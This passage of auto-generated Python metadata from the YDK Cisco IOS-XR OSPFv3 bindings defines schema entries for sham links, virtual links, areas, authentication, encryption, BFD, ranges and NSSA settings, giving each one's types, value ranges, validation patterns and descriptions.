_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink',
False,
[
_MetaInfoClassMember('destination-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Remote sham-link endpoint
''',
'destination_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Local sham-link endpoint
''',
'source_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable sham link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks',
False,
[
_MetaInfoClassMember('sham-link', REFERENCE_LIST, 'ShamLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink',
[], [],
''' ShamLink local and remote endpoints
''',
'sham_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink',
False,
[
_MetaInfoClassMember('virtual-link-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Router ID of virtual link neighbor
''',
'virtual_link_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled virtual link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks',
False,
[
_MetaInfoClassMember('virtual-link', REFERENCE_LIST, 'VirtualLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink',
[], [],
''' Router ID of virtual link neighbor
''',
'virtual_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Area ID if in IP address format
''',
'address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('area-scope', REFERENCE_CLASS, 'AreaScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.AreaScope',
[], [],
''' Area Scope Configuration
''',
'area_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-cost', ATTRIBUTE, 'int' , None, None,
[('0', '16777215')], [],
''' Set the summary default-cost of a NSSA/stub
area
''',
'default_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 area
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces',
[], [],
''' OSPFv3 interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa', REFERENCE_CLASS, 'Nssa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Nssa',
[], [],
''' Specify area as a NSSA area. Allowed only in
non-backbone areas
''',
'nssa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ranges', REFERENCE_CLASS, 'Ranges' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges',
[], [],
''' Range configuration
''',
'ranges',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('sham-links', REFERENCE_CLASS, 'ShamLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.ShamLinks',
[], [],
''' Sham Link sub-mode
''',
'sham_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Specify area as a stub area. Allowed only in
non-backbone areas
''',
'stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('virtual-links', REFERENCE_CLASS, 'VirtualLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.VirtualLinks',
[], [],
''' Virtual link sub-mode
''',
'virtual_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-address',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges.Range' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges.Range',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 prefix format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Specified metric for this range
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Do not advertise address range
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'range',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges',
False,
[
_MetaInfoClassMember('range', REFERENCE_LIST, 'Range' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges.Range',
[], [],
''' Summarize inter-area routes matching
prefix/length
''',
'range',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ranges',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Nssa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Nssa',
False,
[
_MetaInfoClassMember('default-info-originate', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Originate Type 7 default into NSSA area
''',
'default_info_originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
